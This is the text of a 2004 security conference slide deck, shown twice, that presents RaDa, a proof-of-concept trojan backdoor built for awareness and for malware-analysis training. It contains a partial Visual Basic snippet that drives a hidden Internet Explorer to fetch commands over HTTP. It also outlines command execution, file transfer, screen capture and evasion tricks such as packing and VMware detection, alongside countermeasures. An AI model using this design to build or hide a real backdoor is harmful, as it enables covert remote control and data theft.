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RaDa: a “new” trojan backdoor

  Jorge Ortiz & Raúl Siles
  jorge.ortiz@hp.com           raul.siles@hp.com


        FIST Conference Octubre/Madrid 2004


          RaDa: a “new” trojan backdoor            1
Agenda

• Introduction
• Healthy Environment
• Remote Control (RaDa Demo)
• One step beyond
• Getting it in
• Countermeasures

         RaDa: a “new” trojan backdoor   2
Intro

• Awareness on trojans for remote control
  & protection measures.
• Most concepts are based in Setiri
  (R.Temmingh & H.Meer. BH 2002)
• Implemented by Raul Siles, David Perez
  & Jorge Ortiz
• Honeynet Project SOTM in September
  (Thanks Lance and Ed!)

           RaDa: a “new” trojan backdoor    3
A healthy environment

• You have done a pretty good job:
  – Policy & procedures
  – Firewall (ingress and egress filters)
  – IDS
  – Secure configurations
  – AV and Personal Firewalls
• But problems appear…

            RaDa: a “new” trojan backdoor   4
A healthy environment

           Internet


  Router

                                Proxy
Firewall




                                             IDS



                             Secure system


            RaDa: a “new” trojan backdoor          5
Remote Control

• Let’s think for a minute that the
  intruder has been able to install a
  program.
• We shall cover this later.




           RaDa: a “new” trojan backdoor   6
Remote Control: implementation

• RaDa:
  – Very easy to do
  – A lot of Cut&Paste code (Google
    knows how to do it!)
  – Visual Basic, Perl…
  – Using the IE of the system
  – HTTP communications
           RaDa: a “new” trojan backdoor   7
RaDa: implementation
Sub RaDa_Run()
  ' Load commands file             ' Loop through the commands
  Set oExplorer =                  ' (Input fields in the first Form)
   CreateObject("InternetExplore   For Each Element In
   r.Application")                    oExplorer.Document.Forms(0).Elements
  oExplorer.Visible = 0
  sCommandsURL = sServerURL &        Select Case Element.Name
   "/" & sCommandsFile
                                       Case "exe"
  oExplorer.Navigate
   sCommandsURL                          vRetValue = CommandExe(Element.Value)
                                       Case "get“
                                         vRetValue = CommandGet(Element.Value)
                                       Case "put“
' Close Internet Explorer and            vRetValue = CommandPut(Element.Value)
   release the object variable         Case Else
   "oExplorer"                           'Ignore unknown command
  oExplorer.application.Quit         End Select
  Set oExplorer = Nothing          Next Element
End Sub




                        RaDa: a “new” trojan backdoor                            8
RaDa: How It Works

                              1.   Intruder publishes order
                              2.   RaDa opens invisible IE
Intruder      Controller
                              3.   IE sends GET to Ctrler
                              4.   Ctrler sends command
                                   back to RaDa
                HTTP/HTTPS    5.   RaDa execs command &
                                   sends response with
                                   POST
                              6.   Intruder retrieves results
                                   from Ctrler


              RaDa: a “new” trojan backdoor                     9
Demo
           RaDa: Command Exec
                              1. RaDa/IE retrieves
                                 command from
Intruder      Controller
                                 Ctrler with GET
                              2. Parse page <input
                                 type=“text”
                                 name=“exe”
                                 value=“…”>
                              3. Exec command
                                 with Cmd.exe

              RaDa: a “new” trojan backdoor          10
Demo
           RaDa: File Download
                              1. RaDa/IE retrieves
                                 command from
Intruder      Controller         Ctrler with GET
                              2. Parse page <input
                                 type=“text”
                                 name=“get”
                                 value=“…”>
                              3. Download file from
                                 Ctrler with POST.
                              4. UUdecode and
                                 save it

              RaDa: a “new” trojan backdoor           11
Demo
           RaDa: Screen Capture
                              1. RaDa/IE retrieves
                                 command from
Intruder      Controller
                                 Ctrler with GET
                              2. Parse page <input
                                 type=“text”
                                 name=“screenshot”
                                 value=“…”>
                              3. Capture screen with
                                 selected name

              RaDa: a “new” trojan backdoor            12
Demo
           RaDa: File Upload
                            1. RaDa/IE retrieves
                               command from
Intruder     Controller        Ctrler with GET
                            2. Parse page <input
                               type=“text”
                               name=“put”
                               value=“…”>
                            3. Send back
                               contents with
                               POST

            RaDa: a “new” trojan backdoor          13
Demo
     RaDa: hiding techniques

• No application in Task Manager
• Process name
• Packed
• HTTP through IE using HTML
• Misleading info
• VMWare detection

          RaDa: a “new” trojan backdoor   14
One Step Beyond

• Strong authentication of commands
  (GPG)
• Blog/Wiki
• Multiagent management Console
• Other channels (mail, dns, ping,
  ftp)

          RaDa: a “new” trojan backdoor   15
Getting it in

• Zero day exploit
• Ask for help:
  – Mail attachment
  – Download
  – Social engineering
• Insider

            RaDa: a “new” trojan backdoor   16
Countermeasures

• User awareness
• Baselines (processes, memory…)
• Restrict web access
• Update AV signatures frequently.
• Signed Executables
• Behavioral vs. Signature analysis

          RaDa: a “new” trojan backdoor   17
Scan of the Month

• Goal:
  – Improve the Windows reverse
    engineering malware state of the art
• Honeynet Project:
  – http://www.honeynet.org/scans/



            RaDa: a “new” trojan backdoor   18
That’s all folks

• Thank you!
• Any questions?




       FIST Conference Octubre/Madrid 2004

           RaDa: a “new” trojan backdoor     19
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Under the following conditions:


  Attribution. You must give the original author credit.

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nd/2.0/.


                        RaDa: a “new” trojan backdoor                                    20

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Malware RADA

  • 1. RaDa: a “new” trojan backdoor Jorge Ortiz & Raúl Siles jorge.ortiz@hp.com raul.siles@hp.com FIST Conference Octubre/Madrid 2004 RaDa: a “new” trojan backdoor 1
  • 2. Agenda • Introduction • Healthy Environment • Remote Control (RaDa Demo) • One step beyond • Getting it in • Countermeasures RaDa: a “new” trojan backdoor 2
  • 3. Intro • Awareness on trojans for remote control & protection measures. • Most concepts are based in Setiri (R.Temmingh & H.Meer. BH 2002) • Implemented by Raul Siles, David Perez & Jorge Ortiz • Honeynet Project SOTM in September (Thanks Lance and Ed!) RaDa: a “new” trojan backdoor 3
  • 4. A healthy environment • You have done a pretty good job: – Policy & procedures – Firewall (ingress and egress filters) – IDS – Secure configurations – AV and Personal Firewalls • But problems appear… RaDa: a “new” trojan backdoor 4
  • 5. A healthy environment Internet Router Proxy Firewall IDS Secure system RaDa: a “new” trojan backdoor 5
  • 6. Remote Control • Let’s think for a minute that the intruder has been able to install a program. • We shall cover this later. RaDa: a “new” trojan backdoor 6
  • 7. Remote Control: implementation • RaDa: – Very easy to do – A lot of Cut&Paste code (Google knows how to do it!) – Visual Basic, Perl… – Using the IE of the system – HTTP communications RaDa: a “new” trojan backdoor 7
  • 8. RaDa: implementation Sub RaDa_Run() ' Load commands file ' Loop through the commands Set oExplorer = ' (Input fields in the first Form) CreateObject("InternetExplore For Each Element In r.Application") oExplorer.Document.Forms(0).Elements oExplorer.Visible = 0 sCommandsURL = sServerURL & Select Case Element.Name "/" & sCommandsFile Case "exe" oExplorer.Navigate sCommandsURL vRetValue = CommandExe(Element.Value) Case "get“ vRetValue = CommandGet(Element.Value) Case "put“ ' Close Internet Explorer and vRetValue = CommandPut(Element.Value) release the object variable Case Else "oExplorer" 'Ignore unknown command oExplorer.application.Quit End Select Set oExplorer = Nothing Next Element End Sub RaDa: a “new” trojan backdoor 8
  • 9. RaDa: How It Works 1. Intruder publishes order 2. RaDa opens invisible IE Intruder Controller 3. IE sends GET to Ctrler 4. Ctrler sends command back to RaDa HTTP/HTTPS 5. RaDa execs command & sends response with POST 6. Intruder retrieves results from Ctrler RaDa: a “new” trojan backdoor 9
  • 10. Demo RaDa: Command Exec 1. RaDa/IE retrieves command from Intruder Controller Ctrler with GET 2. Parse page <input type=“text” name=“exe” value=“…”> 3. Exec command with Cmd.exe RaDa: a “new” trojan backdoor 10
  • 11. Demo RaDa: File Download 1. RaDa/IE retrieves command from Intruder Controller Ctrler with GET 2. Parse page <input type=“text” name=“get” value=“…”> 3. Download file from Ctrler with POST. 4. UUdecode and save it RaDa: a “new” trojan backdoor 11
  • 12. Demo RaDa: Screen Capture 1. RaDa/IE retrieves command from Intruder Controller Ctrler with GET 2. Parse page <input type=“text” name=“screenshot” value=“…”> 3. Capture screen with selected name RaDa: a “new” trojan backdoor 12
  • 13. Demo RaDa: File Upload 1. RaDa/IE retrieves command from Intruder Controller Ctrler with GET 2. Parse page <input type=“text” name=“put” value=“…”> 3. Send back contents with POST RaDa: a “new” trojan backdoor 13
  • 14. Demo RaDa: hiding techniques • No application in Task Manager • Process name • Packed • HTTP through IE using HTML • Misleading info • VMWare detection RaDa: a “new” trojan backdoor 14
  • 15. One Step Beyond • Strong authentication of commands (GPG) • Blog/Wiki • Multiagent management Console • Other channels (mail, dns, ping, ftp) RaDa: a “new” trojan backdoor 15
  • 16. Getting it in • Zero day exploit • Ask for help: – Mail attachment – Download – Social engineering • Insider RaDa: a “new” trojan backdoor 16
  • 17. Countermeasures • User awareness • Baselines (processes, memory…) • Restrict web access • Update AV signatures frequently. • Signed Executables • Behavioral vs. Signature analysis RaDa: a “new” trojan backdoor 17
  • 18. Scan of the Month • Goal: – Improve the Windows reverse engineering malware state of the art • Honeynet Project: – http://www.honeynet.org/scans/ RaDa: a “new” trojan backdoor 18
  • 19. That’s all folks • Thank you! • Any questions? FIST Conference Octubre/Madrid 2004 RaDa: a “new” trojan backdoor 19
  • 20. Attribution-NonCommercial- NoDerivs 2.0 You are free: to copy, distribute, display, and perform the work Under the following conditions: Attribution. You must give the original author credit. Noncommercial. You may not use this work for commercial purposes. No Derivative Works. You may not alter, transform, or build upon this work. For any reuse or distribution, you must make clear to others the license terms of this work. Any of these conditions can be waived if you get permission from the author. Your fair use and other rights are in no way affected by the above. This is a human-readable summary of the http://creativecommons.org/licenses/by-nc- nd/2.0/. RaDa: a “new” trojan backdoor 20